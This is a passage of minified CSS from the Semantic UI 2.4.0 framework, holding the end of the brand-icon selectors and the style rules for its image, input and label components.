icon.hacker.news,i.icon.hacker.news.square,i.icon.hips,i.icon.hire.a.helper,i.icon.hooli,i.icon.hotjar,i.icon.houzz,i.icon.html5,i.icon.hubspot,i.icon.imdb,i.icon.instagram,i.icon.internet.explorer,i.icon.ioxhost,i.icon.itunes,i.icon.itunes.note,i.icon.jenkins,i.icon.joget,i.icon.joomla,i.icon.js,i.icon.js.square,i.icon.jsfiddle,i.icon.keycdn,i.icon.kickstarter,i.icon.kickstarter.k,i.icon.korvue,i.icon.laravel,i.icon.lastfm,i.icon.lastfm.square,i.icon.leanpub,i.icon.less,i.icon.linechat,i.icon.linkedin,i.icon.linkedin.alternate,i.icon.linkedin.in,i.icon.linode,i.icon.linux,i.icon.lyft,i.icon.magento,i.icon.maxcdn,i.icon.medapps,i.icon.medium,i.icon.medium.m,i.icon.medrt,i.icon.meetup,i.icon.microsoft,i.icon.mix,i.icon.mixcloud,i.icon.mizuni,i.icon.modx,i.icon.monero,i.icon.napster,i.icon.nintendo.switch,i.icon.node,i.icon.node.js,i.icon.npm,i.icon.ns8,i.icon.nutritionix,i.icon.odnoklassniki,i.icon.odnoklassniki.square,i.icon.opencart,i.icon.openid,i.icon.opera,i.icon.optin.monster,i.icon.osi,i.icon.page4,i.icon.pagelines,i.icon.palfed,i.icon.patreon,i.icon.paypal,i.icon.periscope,i.icon.phabricator,i.icon.phoenix.framework,i.icon.php,i.icon.pied.piper,i.icon.pied.piper.alternate,i.icon.pied.piper.pp,i.icon.pinterest,i.icon.pinterest.p,i.icon.pinterest.square,i.icon.playstation,i.icon.product.hunt,i.icon.pushed,i.icon.python,i.icon.qq,i.icon.quinscape,i.icon.quora,i.icon.ravelry,i.icon.react,i.icon.rebel,i.icon.reddit,i.icon.reddit.alien,i.icon.reddit.square,i.icon.redriver,i.icon.rendact,i.icon.renren,i.icon.replyd,i.icon.resolving,i.icon.rocketchat,i.icon.rockrms,i.icon.safari,i.icon.sass,i.icon.schlix,i.icon.scribd,i.icon.searchengin,i.icon.sellcast,i.icon.sellsy,i.icon.servicestack,i.icon.shirtsinbulk,i.icon.simplybuilt,i.icon.sistrix,i.icon.skyatlas,i.icon.skype,i.icon.slack,i.icon.slack.hash,i.icon.slideshare,i.icon.snapchat,i.icon.snapchat.ghost,i.icon.snapchat.square,i.icon.soundcloud,i.icon.speakap,i.icon.spotify,i.icon.stack.exchange,i.icon.stack.overflow,i.icon.staylinked,i.icon.steam,i.icon.steam.square,i.icon.steam.symbol,i.icon.sticker.mule,i.icon.strava,i.icon.stripe,i.icon.stripe.s,i.icon.studiovinari,i.icon.stumbleupon,i.icon.stumbleupon.circle,i.icon.superpowers,i.icon.supple,i.icon.telegram,i.icon.telegram.plane,i.icon.tencent.weibo,i.icon.themeisle,i.icon.trello,i.icon.tripadvisor,i.icon.tumblr,i.icon.tumblr.square,i.icon.twitch,i.icon.twitter,i.icon.twitter.square,i.icon.typo3,i.icon.uber,i.icon.uikit,i.icon.uniregistry,i.icon.untappd,i.icon.usb,i.icon.ussunnah,i.icon.vaadin,i.icon.viacoin,i.icon.viadeo,i.icon.viadeo.square,i.icon.viber,i.icon.vimeo,i.icon.vimeo.square,i.icon.vimeo.v,i.icon.vine,i.icon.vk,i.icon.vnv,i.icon.vuejs,i.icon.wechat,i.icon.weibo,i.icon.weixin,i.icon.whatsapp,i.icon.whatsapp.square,i.icon.whmcs,i.icon.wikipedia.w,i.icon.windows,i.icon.wordpress,i.icon.wordpress.simple,i.icon.wpbeginner,i.icon.wpexplorer,i.icon.wpforms,i.icon.xbox,i.icon.xing,i.icon.xing.square,i.icon.y.combinator,i.icon.yahoo,i.icon.yandex,i.icon.yandex.international,i.icon.yelp,i.icon.yoast,i.icon.youtube,i.icon.youtube.square{font-family:brand-icons}/*! + * # Semantic UI 2.4.0 - Image + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.image{position:relative;display:inline-block;vertical-align:middle;max-width:100%;background-color:transparent}img.ui.image{display:block}.ui.image img,.ui.image svg{display:block;max-width:100%;height:auto}.ui.hidden.image,.ui.hidden.images{display:none}.ui.hidden.transition.image,.ui.hidden.transition.images{display:block;visibility:hidden}.ui.images>.hidden.transition{display:inline-block;visibility:hidden}.ui.disabled.image,.ui.disabled.images{cursor:default;opacity:.45}.ui.inline.image,.ui.inline.image img,.ui.inline.image svg{display:inline-block}.ui.top.aligned.image,.ui.top.aligned.image img,.ui.top.aligned.image svg,.ui.top.aligned.images .image{display:inline-block;vertical-align:top}.ui.middle.aligned.image,.ui.middle.aligned.image img,.ui.middle.aligned.image svg,.ui.middle.aligned.images .image{display:inline-block;vertical-align:middle}.ui.bottom.aligned.image,.ui.bottom.aligned.image img,.ui.bottom.aligned.image svg,.ui.bottom.aligned.images .image{display:inline-block;vertical-align:bottom}.ui.rounded.image,.ui.rounded.image>*,.ui.rounded.images .image,.ui.rounded.images .image>*{border-radius:.3125em}.ui.bordered.image img,.ui.bordered.image svg,.ui.bordered.images .image,.ui.bordered.images img,.ui.bordered.images svg,img.ui.bordered.image{border:1px solid rgba(0,0,0,.1)}.ui.circular.image,.ui.circular.images{overflow:hidden}.ui.circular.image,.ui.circular.image>*,.ui.circular.images .image,.ui.circular.images .image>*{border-radius:500rem}.ui.fluid.image,.ui.fluid.image img,.ui.fluid.image svg,.ui.fluid.images,.ui.fluid.images img,.ui.fluid.images svg{display:block;width:100%;height:auto}.ui.avatar.image,.ui.avatar.image img,.ui.avatar.image svg,.ui.avatar.images .image,.ui.avatar.images img,.ui.avatar.images svg{margin-right:.25em;display:inline-block;width:2em;height:2em;border-radius:500rem}.ui.spaced.image{display:inline-block!important;margin-left:.5em;margin-right:.5em}.ui[class*="left spaced"].image{margin-left:.5em;margin-right:0}.ui[class*="right spaced"].image{margin-left:0;margin-right:.5em}.ui.floated.image,.ui.floated.images{float:left;margin-right:1em;margin-bottom:1em}.ui.right.floated.image,.ui.right.floated.images{float:right;margin-right:0;margin-bottom:1em;margin-left:1em}.ui.floated.image:last-child,.ui.floated.images:last-child{margin-bottom:0}.ui.centered.image,.ui.centered.images{margin-left:auto;margin-right:auto}.ui.mini.image,.ui.mini.images .image,.ui.mini.images img,.ui.mini.images svg{width:35px;height:auto;font-size:.78571429rem}.ui.tiny.image,.ui.tiny.images .image,.ui.tiny.images img,.ui.tiny.images svg{width:80px;height:auto;font-size:.85714286rem}.ui.small.image,.ui.small.images .image,.ui.small.images img,.ui.small.images svg{width:150px;height:auto;font-size:.92857143rem}.ui.medium.image,.ui.medium.images .image,.ui.medium.images img,.ui.medium.images svg{width:300px;height:auto;font-size:1rem}.ui.large.image,.ui.large.images .image,.ui.large.images img,.ui.large.images svg{width:450px;height:auto;font-size:1.14285714rem}.ui.big.image,.ui.big.images .image,.ui.big.images img,.ui.big.images svg{width:600px;height:auto;font-size:1.28571429rem}.ui.huge.image,.ui.huge.images .image,.ui.huge.images img,.ui.huge.images svg{width:800px;height:auto;font-size:1.42857143rem}.ui.massive.image,.ui.massive.images .image,.ui.massive.images img,.ui.massive.images svg{width:960px;height:auto;font-size:1.71428571rem}.ui.images{font-size:0;margin:0 -.25rem 0}.ui.images .image,.ui.images>img,.ui.images>svg{display:inline-block;margin:0 .25rem .5rem}/*! + * # Semantic UI 2.4.0 - Input + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.input{position:relative;font-weight:400;font-style:normal;display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;color:rgba(0,0,0,.87)}.ui.input>input{margin:0;max-width:100%;-webkit-box-flex:1;-ms-flex:1 0 auto;flex:1 0 auto;outline:0;-webkit-tap-highlight-color:rgba(255,255,255,0);text-align:left;line-height:1.21428571em;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;padding:.67857143em 1em;background:#fff;border:1px solid rgba(34,36,38,.15);color:rgba(0,0,0,.87);border-radius:.28571429rem;-webkit-transition:border-color .1s ease,-webkit-box-shadow .1s ease;transition:border-color .1s ease,-webkit-box-shadow .1s ease;transition:box-shadow .1s ease,border-color .1s ease;transition:box-shadow .1s ease,border-color .1s ease,-webkit-box-shadow .1s ease;-webkit-box-shadow:none;box-shadow:none}.ui.input>input::-webkit-input-placeholder{color:rgba(191,191,191,.87)}.ui.input>input::-moz-placeholder{color:rgba(191,191,191,.87)}.ui.input>input:-ms-input-placeholder{color:rgba(191,191,191,.87)}.ui.disabled.input,.ui.input:not(.disabled) input[disabled]{opacity:.45}.ui.disabled.input>input,.ui.input:not(.disabled) input[disabled]{pointer-events:none}.ui.input.down input,.ui.input>input:active{border-color:rgba(0,0,0,.3);background:#fafafa;color:rgba(0,0,0,.87);-webkit-box-shadow:none;box-shadow:none}.ui.loading.loading.input>i.icon:before{position:absolute;content:'';top:50%;left:50%;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em;border-radius:500rem;border:.2em solid rgba(0,0,0,.1)}.ui.loading.loading.input>i.icon:after{position:absolute;content:'';top:50%;left:50%;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em;-webkit-animation:button-spin .6s linear;animation:button-spin .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#767676 transparent transparent;border-style:solid;border-width:.2em;-webkit-box-shadow:0 0 0 1px transparent;box-shadow:0 0 0 1px transparent}.ui.input.focus>input,.ui.input>input:focus{border-color:#85b7d9;background:#fff;color:rgba(0,0,0,.8);-webkit-box-shadow:none;box-shadow:none}.ui.input.focus>input::-webkit-input-placeholder,.ui.input>input:focus::-webkit-input-placeholder{color:rgba(115,115,115,.87)}.ui.input.focus>input::-moz-placeholder,.ui.input>input:focus::-moz-placeholder{color:rgba(115,115,115,.87)}.ui.input.focus>input:-ms-input-placeholder,.ui.input>input:focus:-ms-input-placeholder{color:rgba(115,115,115,.87)}.ui.input.error>input{background-color:#fff6f6;border-color:#e0b4b4;color:#9f3a38;-webkit-box-shadow:none;box-shadow:none}.ui.input.error>input::-webkit-input-placeholder{color:#e7bdbc}.ui.input.error>input::-moz-placeholder{color:#e7bdbc}.ui.input.error>input:-ms-input-placeholder{color:#e7bdbc!important}.ui.input.error>input:focus::-webkit-input-placeholder{color:#da9796}.ui.input.error>input:focus::-moz-placeholder{color:#da9796}.ui.input.error>input:focus:-ms-input-placeholder{color:#da9796!important}.ui.transparent.input>input{border-color:transparent!important;background-color:transparent!important;padding:0!important;-webkit-box-shadow:none!important;box-shadow:none!important;border-radius:0!important}.ui.transparent.icon.input>i.icon{width:1.1em}.ui.transparent.icon.input>input{padding-left:0!important;padding-right:2em!important}.ui.transparent[class*="left icon"].input>input{padding-left:2em!important;padding-right:0!important}.ui.transparent.inverted.input{color:#fff}.ui.transparent.inverted.input>input{color:inherit}.ui.transparent.inverted.input>input::-webkit-input-placeholder{color:rgba(255,255,255,.5)}.ui.transparent.inverted.input>input::-moz-placeholder{color:rgba(255,255,255,.5)}.ui.transparent.inverted.input>input:-ms-input-placeholder{color:rgba(255,255,255,.5)}.ui.icon.input>i.icon{cursor:default;position:absolute;line-height:1;text-align:center;top:0;right:0;margin:0;height:100%;width:2.67142857em;opacity:.5;border-radius:0 .28571429rem .28571429rem 0;-webkit-transition:opacity .3s ease;transition:opacity .3s ease}.ui.icon.input>i.icon:not(.link){pointer-events:none}.ui.icon.input>input{padding-right:2.67142857em!important}.ui.icon.input>i.icon:after,.ui.icon.input>i.icon:before{left:0;position:absolute;text-align:center;top:50%;width:100%;margin-top:-.5em}.ui.icon.input>i.link.icon{cursor:pointer}.ui.icon.input>i.circular.icon{top:.35em;right:.5em}.ui[class*="left icon"].input>i.icon{right:auto;left:1px;border-radius:.28571429rem 0 0 .28571429rem}.ui[class*="left icon"].input>i.circular.icon{right:auto;left:.5em}.ui[class*="left icon"].input>input{padding-left:2.67142857em!important;padding-right:1em!important}.ui.icon.input>input:focus~i.icon{opacity:1}.ui.labeled.input>.label{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;margin:0;font-size:1em}.ui.labeled.input>.label:not(.corner){padding-top:.78571429em;padding-bottom:.78571429em}.ui.labeled.input:not([class*="corner labeled"]) .label:first-child{border-top-right-radius:0;border-bottom-right-radius:0}.ui.labeled.input:not([class*="corner labeled"]) .label:first-child+input{border-top-left-radius:0;border-bottom-left-radius:0;border-left-color:transparent}.ui.labeled.input:not([class*="corner labeled"]) .label:first-child+input:focus{border-left-color:#85b7d9}.ui[class*="right labeled"].input>input{border-top-right-radius:0!important;border-bottom-right-radius:0!important;border-right-color:transparent!important}.ui[class*="right labeled"].input>input+.label{border-top-left-radius:0;border-bottom-left-radius:0}.ui[class*="right labeled"].input>input:focus{border-right-color:#85b7d9!important}.ui.labeled.input .corner.label{top:1px;right:1px;font-size:.64285714em;border-radius:0 .28571429rem 0 0}.ui[class*="corner labeled"]:not([class*="left corner labeled"]).labeled.input>input{padding-right:2.5em!important}.ui[class*="corner labeled"].icon.input:not([class*="left corner labeled"])>input{padding-right:3.25em!important}.ui[class*="corner labeled"].icon.input:not([class*="left corner labeled"])>.icon{margin-right:1.25em}.ui[class*="left corner labeled"].labeled.input>input{padding-left:2.5em!important}.ui[class*="left corner labeled"].icon.input>input{padding-left:3.25em!important}.ui[class*="left corner labeled"].icon.input>.icon{margin-left:1.25em}.ui.input>.ui.corner.label{top:1px;right:1px}.ui.input>.ui.left.corner.label{right:auto;left:1px}.ui.action.input>.button,.ui.action.input>.buttons{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto}.ui.action.input>.button,.ui.action.input>.buttons>.button{padding-top:.78571429em;padding-bottom:.78571429em;margin:0}.ui.action.input:not([class*="left action"])>input{border-top-right-radius:0!important;border-bottom-right-radius:0!important;border-right-color:transparent!important}.ui.action.input:not([class*="left action"])>.button:not(:first-child),.ui.action.input:not([class*="left action"])>.buttons:not(:first-child)>.button,.ui.action.input:not([class*="left action"])>.dropdown:not(:first-child){border-radius:0}.ui.action.input:not([class*="left action"])>.button:last-child,.ui.action.input:not([class*="left action"])>.buttons:last-child>.button,.ui.action.input:not([class*="left action"])>.dropdown:last-child{border-radius:0 .28571429rem .28571429rem 0}.ui.action.input:not([class*="left action"])>input:focus{border-right-color:#85b7d9!important}.ui[class*="left action"].input>input{border-top-left-radius:0!important;border-bottom-left-radius:0!important;border-left-color:transparent!important}.ui[class*="left action"].input>.button,.ui[class*="left action"].input>.buttons>.button,.ui[class*="left action"].input>.dropdown{border-radius:0}.ui[class*="left action"].input>.button:first-child,.ui[class*="left action"].input>.buttons:first-child>.button,.ui[class*="left action"].input>.dropdown:first-child{border-radius:.28571429rem 0 0 .28571429rem}.ui[class*="left action"].input>input:focus{border-left-color:#85b7d9!important}.ui.inverted.input>input{border:none}.ui.fluid.input{display:-webkit-box;display:-ms-flexbox;display:flex}.ui.fluid.input>input{width:0!important}.ui.mini.input{font-size:.78571429em}.ui.small.input{font-size:.92857143em}.ui.input{font-size:1em}.ui.large.input{font-size:1.14285714em}.ui.big.input{font-size:1.28571429em}.ui.huge.input{font-size:1.42857143em}.ui.massive.input{font-size:1.71428571em}/*! + * # Semantic UI 2.4.0 - Label + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.label{display:inline-block;line-height:1;vertical-align:baseline;margin:0 .14285714em;background-color:#e8e8e8;background-image:none;padding:.5833em .833em;color:rgba(0,0,0,.6);text-transform:none;font-weight:700;border:0 solid transparent;border-radius:.28571429rem;-webkit-transition:background .1s ease;transition:background .1s ease}.ui.label:first-child{margin-left:0}.ui.label:last-child{margin-right:0}a.ui.label{cursor:pointer}.ui.label>a{cursor:pointer;color:inherit;opacity:.5;-webkit-transition:.1s opacity ease;transition:.1s opacity ease}.ui.label>a:hover{opacity:1}.ui.label>img{width:auto!important;vertical-align:middle;height:2.1666em!important}.ui.label>.icon{width:auto;margin:0 .75em 0 0}.ui.label>.detail{display:inline-block;vertical-align:top;font-weight:700;margin-left:1em;opacity:.8}.ui.label>.detail .icon{margin:0 .25em 0 0}.ui.label>.close.icon,.ui.label>.delete.icon{cursor:pointer;margin-right:0;margin-left:.5em;font-size:.92857143em;opacity:.5;-webkit-transition:background .1s ease;transition:background .1s ease}.ui.label>.delete.icon:hover{opacity:1}.ui.labels>.label{margin:0 .5em .5em 0}.ui.header>.ui.label{margin-top:-.29165em}.ui.attached.segment>.ui.top.left.attached.label,.ui.bottom.attached.segment>.ui.top.left.attached.label{border-top-left-radius:0}.ui.attached.segment>.ui.top.right.attached.label,.ui.bottom.attached.segment>.ui.top.right.attached.label{border-top-right-radius:0}.ui.top.attached.segment>.ui.bottom.left.attached.label{border-bottom-left-radius:0}.ui.top.attached.segment>.ui.bottom.right.attached.label{border-bottom-right-radius:0}.ui.top.attached.label+[class*="right floated"]+*,.ui.top.attached.label:first-child+:not(.attached){margin-top:2rem!important}.ui.bottom.attached.label:first-child~:last-child:not(.attached){margin-top:0;margin-bottom:2rem!important}.ui.image.label{width:auto!important;margin-top:0;margin-bottom:0;max-width:9999px;vertical-align:baseline;text-transform:none;background:#e8e8e8;padding:.5833em .833em .5833em .5em;border-radius:.28571429rem;-webkit-box-shadow:none;box-shadow:none}.ui.image.label img{display:inline-block;vertical-align:top;height:2.1666em;margin:-.5833em .5em -.5833em -.5em;border-radius:.28571429rem 0 0 .28571429rem}.ui.image.label .detail{background:rgba(0,0,0,.1);margin:-.5833em -.833em -.5833em .5em;padding:.5833em .833em;border-radius:0 .28571429rem .28571429rem 0}.ui.tag.label,.ui.tag.labels .label{margin-left:1em;position:relative;padding-left:1.5em;padding-right:1.5em;border-radius:0 .28571429rem .28571429rem 0;-webkit-transition:none;transition:none}.ui.tag.label:before,.ui.tag.labels .label:before{position:absolute;-webkit-transform:translateY(-50%) translateX(50%) rotate(-45deg);transform:translateY(-50%) translateX(50%) rotate(-45deg);top:50%;right:100%;content:'';background-color:inherit;background-image:none;width:1.56em;height:1.56em;-webkit-transition:none;transition:none}.ui.tag.label:after,.ui.tag.labels .label:after{position:absolute;content:'';top:50%;left:-.25em;margin-top:-.25em;background-color:#fff!important;width:.5em;height:.5em;-webkit-box-shadow:0 -1px 1px 0 rgba(0,0,0,.3);box-shadow:0 -1px 1px 0 rgba(0,0,0,.3);border-radius:500rem}.ui.corner.label{position:absolute;top:0;right:0;margin:0;padding:0;text-align:center;border-color:#e8e8e8;width:4em;height:4em;z-index:1;-webkit-transition:border-color .1s ease;transition:border-color .1s ease}.ui.corner.label{background-color:transparent!important}.ui.corner.label:after{position:absolute;content:"";right:0;top:0;z-index:-1;width:0;height:0;background-color:transparent!important;border-top:0 solid transparent;border-right:4em solid transparent;border-bottom:4em solid transparent;border-left:0 solid transparent;border-right-color:inherit;-webkit-transition:border-color .1s ease;transition:border-color .1s ease}.ui.corner.label .icon{cursor:default;position:relative;top:.64285714em;left:.78571429em;font-size:1.14285714em;margin:0}.ui.left.corner.label,.ui.left.corner.label:after{right:auto;left:0}.ui.left.corner.label:after{border-top:4em solid transparent;border-right:4em solid transparent;border-bottom:0 solid transparent;border-left:0 solid transparent;border-top-color:inherit}.ui.left.corner.label .icon{left:-.78571429em}.ui.segment>.ui.corner.label{top:-1px;right:-1px}.ui.segment>.ui.left.corner.label{right:auto;left:-1px}.ui.ribbon.label{position:relative;margin:0;min-width:-webkit-max-content;min-width:-moz-max-content;min-width:max-content;border-radius:0 .28571429rem .28571429rem 0;border-color:rgba(0,0,0,.15)}.ui.ribbon.label:after{position:absolute;content:'';top:100%;left:0;background-color:transparent!important;border-style:solid;border-width:0 1.2em 1.2em 0;border-color:transparent;border-right-color:inherit;width:0;height:0}.ui.ribbon.label{left:calc(-1rem - 1.2em);margin-right:-1.2em;padding-left:calc(1rem + 1.2em);padding-right:1.2em}.ui[class*="right ribbon"].label{left:calc(100% + 1rem + 1.2em);padding-left:1.2em;padding-right:calc(1rem + 1.2em)}.ui[class*="right ribbon"].label{text-align:left;-webkit-transform:translateX(-100%);transform:translateX(-100%);border-radius:.28571429rem 0 0 .28571429rem}.ui[class*="right ribbon"].label:after{left:auto;right:0;border-style:solid;border-width:1.2em 1.2em 0 0;border-color:transparent;border-top-color:inherit}.ui.card .image>.ribbon.label,.ui.image>.ribbon.label{position:absolute;top:1rem}.ui.card .image>.ui.ribbon.label,.ui.image>.ui.ribbon.label{left:calc(.05rem - 1.2em)}.ui.card .image>.ui[class*="right ribbon"].label,.ui.image>.ui[class*="right ribbon"].label{left:calc(100% + -.05rem + 1.2em);padding-left:.833em}.ui.table td>.ui.ribbon.label{left:calc(-.78571429em - 1.2em)}.ui.table td>.ui[class*="right ribbon"].label{left:calc(100% + .78571429em + 1.2em);padding-left:.833em}.ui.attached.label,.ui[class*="top attached"].label{width:100%;position:absolute;margin:0;top:0;left:0;padding:.75em 1em;border-radius:.21428571rem .21428571rem 0 0}.ui[class*="bottom attached"].label{top:auto;bottom:0;border-radius:0 0 .21428571rem .21428571rem}.ui[class*="top left attached"].label{width:auto;margin-top:0!important;border-radius:.21428571rem 0 .28571429rem 0}.ui[class*="top right attached"].label{width:auto;left:auto;right:0;border-radius:0 .21428571rem 0 .28571429rem}.ui[class*="bottom left attached"].label{width:auto;top:auto;bottom:0;border-radius:0 .28571429rem 0 .21428571rem}.ui[class*="bottom right attached"].label{top:auto;bottom:0;left:auto;right:0;width:auto;border-radius:.28571429rem 0 .21428571rem 0}.ui.label.disabled{opacity:.5}a.ui.label:hover,a.ui.labels .label:hover{background-color:#e0e0e0;border-color:#e0e0e0;background-image:none;color:rgba(0,0,0,.8)}.ui.labels a.label:hover:before,a.ui.label:hover:before{color:rgba(0,0,0,.8)}.ui.active.label{background-color:#d0d0d0;border-color:#d0d0d0;background-image:none;color:rgba(0,0,0,.95)}.ui.active.label:before{background-color:#d0d0d0;background-image:none;color:rgba(0,0,0,.95)}a.ui.active.label:hover,a.ui.labels .active.label:hover{background-color:#c8c8c8;border-color:#c8c8c8;background-image:none;color:rgba(0,0,0,.95)}.ui.labels a.active.label:ActiveHover:before,a.ui.active.label:ActiveHover:before{background-color:#c8c8c8;background-image:none;color:rgba(0,0,0,.95)}.ui.label.visible:not(.dropdown),.ui.labels.visible .label{display:inline-block!important}.ui.label.hidden,.ui.labels.hidden .label{display:none!important}.ui.red.label,.ui.red.labels .label{background-color:#db2828!important;border-color:#db2828!important;color:#fff!important}.ui.red.labels .label:hover,a.ui.red.label:hover{background-color:#d01919!important;border-color:#d01919!important;color:#fff!important}.ui.red.corner.label,.ui.red.corner.label:hover{background-color:transparent!important}.ui.red.ribbon.label{border-color:#b21e1e!important}.ui.basic.red.label{background:none #fff!important;color:#db2828!important;border-color:#db2828!important}.ui.basic.red.labels a.label:hover,a.ui.basic.red.label:hover{background-color:#fff!important;color:#d01919!important;border-color:#d01919!important}.ui.orange.label,.ui.orange.labels .label{background-color:#f2711c!important;border-color:#f2711c!important;color:#fff!important}.ui.orange.labels .label:hover,a.ui.orange.label:hover{background-color:#f26202!important;border-color:#f26202!important;color:#fff!important}.ui.orange.corner.label,.ui.orange.corner.label:hover{background-color:transparent!important}.ui.orange.ribbon.label{border-color:#cf590c!important}.ui.basic.orange.label{background:none #fff!important;color:#f2711c!important;border-color:#f2711c!important}.ui.basic.orange.labels a.label:hover,a.ui.basic.orange.label:hover{background-color:#fff!important;color:#f26202!important;border-color:#f26202!important}.ui.yellow.label,.ui.yellow.labels .label{background-color:#fbbd08!important;border-color:#fbbd08!important;color:#fff!important}.ui.yellow.labels .label:hover,a.ui.yellow.label:hover{background-color:#eaae00!important;border-color:#eaae00!important;color:#fff!important}.ui.yellow.corner.label,.ui.yellow.corner.label:hover{background-color:transparent!important}.ui.yellow.ribbon.label{border-color:#cd9903!important}.ui.basic.yellow.label{background:none #fff!important;color:#fbbd08!important;border-color:#fbbd08!important}.ui.basic.yellow.labels a.label:hover,a.ui.basic.yellow.label:hover{background-color:#fff!important;color:#eaae00!important;border-color:#eaae00!important}.ui.olive.label,.ui.olive.labels .label{background-color:#b5cc18!important;border-color:#b5cc18!important;color:#fff!important}.ui.olive.labels .label:hover,a.ui.olive.label:hover{background-color:#a7bd0d!important;border-color:#a7bd0d!important;color:#fff!important}.ui.olive.corner.label,.ui.olive.corner.label:hover{background-color:transparent!important}.ui.olive.ribbon.label{border-color:#198f35!important}.ui.basic.olive.label{background:none #fff!important;color:#b5cc18!important;border-color:#b5cc18!important}.ui.basic.olive.labels a.label:hover,a.ui.basic.olive.label:hover{background-color:#fff!important;color:#a7bd0d!important;border-color:#a7bd0d!important}.ui.green.label,.ui.green.labels .label{background-color:#21ba45!important;border-color:#21ba45!important;color:#fff!important}.ui.green.labels .label:hover,a.ui.green.label:hover{background-color:#16ab39!important;border-color:#16ab39!important;color:#fff!important}.ui.green.corner.label,.ui.green.corner.label:hover{background-color:transparent!important}.ui.green.ribbon.label{border-color:#198f35!important}.ui.basic.green.label{background:none #fff!important;color:#21ba45!important;border-color:#21ba45!important}.ui.basic.green.labels a.label:hover,a.ui.basic.green.label:hover{background-color:#fff!important;color:#16ab39!important;border-color:#16ab39!important}.ui.teal.label,.ui.teal.labels .label{background-color:#00b5ad!important;border-color:#00b5ad!important;color:#fff!important}.ui.teal.labels .label:hover,a.ui.teal.label:hover{background-color:#009c95!important;border-color:#009c95!important;color:#fff!important}.ui.teal.corner.label,.ui.teal.corner.label:hover{background-color:transparent!important}.ui.teal.ribbon.label{border-color:#00827c!important}.ui.basic.teal.label{background:none #fff!important;color:#00b5ad!important;border-color:#00b5ad!important}.ui.basic.teal.labels a.label:hover,a.ui.basic.teal.label:hover{background-color:#fff!important;color:#009c95!important;border-color:#009c95!important}.ui.blue.label,.ui.blue.labels .label{background-color:#2185d0!important;border-color:#2185d0!important;color:#fff!important}.ui.blue.labels .label:hover,a.ui.blue.label:hover{background-color:#1678c2!important;border-color:#1678c2!important;color:#fff!important}.ui.blue.corner.label,.ui.blue.corner.label:hover{background-color:transparent!important}.ui.blue.ribbon.label{border-color:#1a69a4!important}.ui.basic.blue.label{background:none #fff!important;color:#2185d0!important;border-color:#2185d0!important}.ui.basic.blue.labels a.label:hover,a.ui.basic.blue.label:hover{background-color:#fff!important;color:#1678c2!important;border-color:#1678c2!important}.ui.violet.label,.ui.violet.labels .label{background-color:#6435c9!important;border-color:#6435c9!important;color:#fff!important}.ui.violet.labels .label:hover,a.ui.violet.label:hover{background-color:#5829bb!important;border-color:#5829bb!important;color:#fff!important}.ui.violet.corner.label,.ui.violet.corner.label:hover{background-color:transparent!important}.ui.violet.ribbon.label{border-color:#502aa1!important}.ui.basic.violet.label{background:none #fff!important;color:#6435c9!important;border-color:#6435c9!important}.ui.basic.violet.labels a.label:hover,a.ui.basic.violet.label:hover{background-color:#fff!important;color:#5829bb!important;border-color:#5829bb!important}.ui.purple.label,.ui.purple.labels .label{background-color:#a333c8!important;border-color:#a333c8!important;color:#fff!important}.ui.purple.labels .label:hover,a.ui.purple.label:hover{background-color:#9627ba!important;border-color:#9627ba!important;color:#fff!important}.ui.purple.corner.label,.ui.purple.corner.label:hover{background-color:transparent!important}.ui.purple.ribbon.label{border-color:#82299f!important}.ui.basic.purple.label{background:none #fff!important;color:#a333c8!important;border-color:#a333c8!important}.ui.basic.purple.labels a.label:hover,a.ui.basic.purple.label:hover{background-color:#fff!important;color:#9627ba!important;border-color:#9627ba!important}.ui.pink.label,.ui.pink.labels .label{background-color:#e03997!important;border-color:#e03997!important;color:#fff!important}.ui.pink.labels .label:hover,a.ui.pink.label:hover{background-color:#e61a8d!important;border-color:#e61a8d!important;color:#fff!important}.ui.pink.corner.label,.ui.pink.corner.label:hover{background-color:transparent!important}.ui.pink.ribbon.label{border-color:#c71f7e!important}.ui.basic.pink.label{background:none #fff!important;color:#e03997!important;border-color:#e03997!important}.ui.basic.pink.labels a.label:hover,a.ui.basic.pink.label:hover{background-color:#fff!important;color:#e61a8d!important;border-color:#e61a8d!important}.ui.brown.label,.ui.brown.labels .label{background-color:#a5673f!important;border-color:#a5673f!important;color:#fff!important}.ui.brown.labels .label:hover,a.ui.brown.label:hover{background-color:#975b33!important;border-color:#975b33!important;color:#fff!important}.ui.brown.corner.label,.ui.brown.corner.label:hover{background-color:transparent!important}.ui.brown.ribbon.label{border-color:#805031!important}.ui.basic.brown.label{background:none #fff!important;color:#a5673f!important;border-color:#a5673f!important}.ui.basic.brown.labels a.label:hover,a.ui.basic.brown.label:hover{background-color:#fff!important;color:#975b33!important;border-color:#975b33!important}.ui.grey.label,.ui.grey.labels .label{background-color:#767676!important;border-color:#767676!important;color:#fff!important}.ui.grey.labels .label:hover,a.ui.grey.label:hover{background-color:#838383!important;border-color:#838383!important;color:#fff!important}.ui.grey.corner.label,.ui.grey.corner.label:hover{background-color:transparent!important}.ui.grey.ribbon.label{border-color:#805031!important}.ui.basic.grey.label{background:none #fff!important;color:#767676!important;border-color:#767676!important}.ui.basic.grey.labels a.label:hover,a.ui.basic.grey.label:hover{background-color:#fff!important;color:#838383!important;border-color:#838383!important}.ui.black.label,.ui.black.labels .label{background-color:#1b1c1d!important;border-color:#1b1c1d!important;color:#fff!important}.ui.black.labels .label:hover,a.ui.black.label:hover{background-color:#27292a!important;border-color:#27292a!important;color:#fff!important}.ui.black.corner.label,.ui.black.corner.label:hover{background-color:transparent!important}.ui.black.ribbon.label{border-color:#805031!important}.ui.basic.black.label{background:none #fff!important;color:#1b1c1d!important;border-color:#1b1c1d!important}.ui.basic.black.labels 